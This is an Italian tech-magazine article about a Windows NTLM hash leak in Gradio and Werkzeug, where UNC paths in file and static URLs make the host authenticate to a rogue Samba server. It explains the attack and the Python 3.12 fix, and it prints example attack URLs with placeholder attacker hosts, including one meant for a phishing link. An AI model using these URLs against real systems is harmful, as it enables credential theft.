Windows nasconde un bug

Se si pensa a un framework Python per lo sviluppo di applicazioni Web, normalmente si pensa a Django. Ma la realtà è che ne esistono diversi, decisamente più “piccoli” e semplici ma che stanno avendo un notevole successo. E questo proprio grazie alla loro semplicità. Uno di questi si chiama Gradio, e sta diventando quasi uno standard tra tutte le nuove app basate su intelligenza artificiale. L’interfaccia Web di Stable Diffusion, per esempio, è realizzata con Gradio, così anche molto interfacce per l’utilizzo domestico di Whisper, oppure di modelli linguistici generativi alternativi a ChatGPT. In ambito enterprise, questi servizi vengono naturalmente forniti da server GNU/Linux, configurati in cluster ad alta affidabilità e con risorse enormi. Tuttavia, ormai la maggioranza delle reti neurali “moderne” è in grado di funzionare anche su hardware consumer: le schede Nvidia della serie 30xx o 40xx sono in grado di far girare software per l’AI generativa. Queste schede sono spesso acquistate degli appassionati di videogame, ma ormai va di moda “giocare” anche con un generatore di immagini, testo o audio. Proprio perché si utilizza un computer desktop, è probabile che il sistema operativo utilizzato sia Windows, che è il più diffuso tra i gamer. Questo significa che si utilizza Python su Windows, con una applicazione Web che per sua natura è esposta alla rete locale del PC, e che ha privilegi di amministrazione (per poter accedere direttamente alla scheda grafica).

Il controllo is_dir() sul percorso, che paradossalmente dovrebbe renderlo sicuro, in realtà innesca la condivisione dell’hash NTLM. Fonte: https://github.com.

FILE NON MOLTO STATICI

Gradio espone delle API, che vengono utilizzate dall’interfaccia Web per eseguire operazioni in background. Per esempio, l’API file consente l’upload di file in una cartella predefinita nella configurazione dell’app. Di default, questa API è disponibile senza autenticazione, per facilitare l’utilizzo: la “sicurezza” è affidata all’idea che, comunque vada, i file verranno caricati dentro una cartella predisposta dallo sviluppatore per ricevere file, quindi si suppone che chi ha attivato l’applicazione abbia già previsto di “isolare” questa cartella con apposite regole. Per esempio, dandole una dimensione massima o prevedendo una pulizia periodica per eliminare tutto quello che non dovrebbe essere presente (file vecchi o che non sembrano legittimi). Per assicurarsi che il file esista e che la cartella sia autorizzata, Gradio utilizza il metodo Python:

Path.is_dir()

che verifica se esista la cartella genitore, e se al suo interno ci sia un oggetto di tipo “cartella” (e non semplicemente file) col nome della cartella richiesta. C’è solo un piccolo problema: Windows cerca di risolvere automaticamente i percorsi di rete, che nella sua sintassi vengono scritti semplicemente con un \\ iniziale. Quindi se qualcuno scrivesse:

http://IPapplicazione/file=\\
IPrisorsadirete\share

Basta fare una chiamata HTTP verso l’applicazione Gradio e il server Samba malevolo riceve l’hash della password dell’utente. FONTE: https://www.horizon3.ai.
Python proverebbe innanzitutto ad accedere alla risorsa di rete, a prescindere da quanto la richiesta possa essere legittima (questo viene controllato dopo).
Questo non accade su sistemi GNU/Linux, perché la sintassi dei percorsi di rete e il comportamento del sistema sono differenti. E Gradio è stato pensato principalmente per sistemi Unix, pur funzionando anche su Windows. Ma qual è il problema del tentativo di accedere a una risorsa di rete? Alla fine, se si cerca di accedere a qualche risorsa che è già pubblica il malintenzionato non ha ottenuto molto. E, invece, se la risorsa richiede autenticazione non ci può accedere comunque. Ma il vero problema è ben più grave: Windows sembra ossessionato dal cercare di far arrivare l’utente su qualunque risorsa desideri, persino facendo un login su server remoti, se necessario. O, almeno, provando a farli. Questo significa che un malintenzionato che trova una app Gradio sulla propria rete può mettere in piedi un falso server Samba con condivisione di file, che richieda autenticazione. E poi interrogare l’app Gradio per farsi dare un file presente sul suo server Samba. Il risultato è ovvio: Python cercherà di accedere alla risorsa di rete e Windows, con la sua mania di “semplificare” le cose, farà automaticamente un tentativo di login, inviando l’hash delle credenziali dell’utente che sta facendo girare l’app Gradio, nella speranza che quelle credenziali siano valide anche per l’accesso alla risorsa di rete. Il server fasullo registrerà l’hash NTLM (hash di autenticazione di Windows), e il malintenzionato avrà lo strumento perfetto per iniziare a fare il brute force della password.
Ci si potrebbe chiedere: quindi basta attivare l’autenticazione anche per l’API file di Gradio? In realtà no, perché è comunque possibile accedere ai file che dovrebbero essere pubblici con un percorso del tipo:

http://IPapplicazione/
static///IPrisorsadirete/
share

Che, almeno nelle versioni di Python per Windows precedenti alla 3.11, viene tradotto nel percorso:

\\IPrisorsadirete\share

Che poi Windows cercherà di esplorare, esattamente come abbiamo visto per l’API file. C’è ancora un piccolo dettaglio da considerare: questa vulnerabilità di Gradio deriva in realtà da Werkzeug, un server WSGI Python su cui si basa Gradio. Teoricamente, visto che la funzione per l’accesso ai file statici deriva da esso, tutte le applicazioni Python basate su Werkzeug sono vulnerabili (anche il famoso Flask in modalità sviluppo, per esempio).
In patica, la reale possibilità di sfruttare la vulnerabilità dipende dall’implementazione, e quella di Gradio sembra l’unica regolarmente vulnerabile di default. Nel caso di Flask, per esempio, dipende se si consenta all’utente di chiedere file “a piacere”, o se invece i file forniti facciano parte di una lista definita lato server. Gradio non pone limiti sui nomi dei file perché in questo modo è molto più facile sviluppare l’applicazione senza dover configurare nei dettagli l’accesso ai file (che potrebbero essere l’output dell’elaborazione dell’AI su cui si basa l’app). Ma, come spesso accade, questa semplicità si paga in termini di sicurezza.

LA VULNERABILITA’

Bisogna innanzitutto considerare che questa vulnerabilità non colpisce i server: considerando che Gradio è utilizzato soprattutto per applicazioni Web che sfruttano modelli di intelligenza artificiale, di solito i server che le ospitano sono grossi cluster GNU/Linux con adeguati meccanismi di protezione. Le vittime più probabili sono semplici appassionati o studenti che sviluppano nuove applicazioni. Per poter sfruttare questa vulnerabilità il malintenzionato deve essere nella stessa rete locale della vittima: il server Samba malevolo può anche essere esposto sulla WAN da parte del pirata, ma questo deve in qualche modo poter fare una chiamata HTTP verso l’applicazione, che sarà presumibilmente eseguita su un PC personale ed esposta su tutti gli indirizzi IP di quel computer, IP LAN incluso.
La vulnerabilità è quindi abbastanza limitata, anche se non si può escludere che l’utente venga indotto a fare egli stesso la chiamata; basterebbe infatti una email di phishing con un link che punta a un indirizzo del tipo:

http://localhost/static///
IPWANSambaMalevolo/share

E l’attacco avrebbe successo. Bisogna anche considerare che il malintenzionato otterrebbe l’hash NTLM, e dovrebbe comunque poi procedere con un bruteforce della password: se l’utente ha scelto una password sufficientemente sicura, il pericolo è tutto sommato ridotto.

LA SOLUZIONE

Il problema principale è risolto se si utilizza Python 3.12: in questa versione la funzione Path.is_dir() si accorge della presenza di un percorso di rete e lo ignora. Gradio non ha previsto fix specifici, proprio perché in realtà il problema era legato alla libreria Python, il framework web era soltanto uno strumento per sfruttare il bug e ora che è risolto il problema non si pone più. Riguardo al problema di fondo, cioè il fatto che Windows cerchi di autenticarsi anche su share di rete di cui non dovrebbe fidarsi, non è risolvibile: in fondo, per Windows questo non è affatto un bug, è una feature.

Leggi anche: “Windows sotto attacco“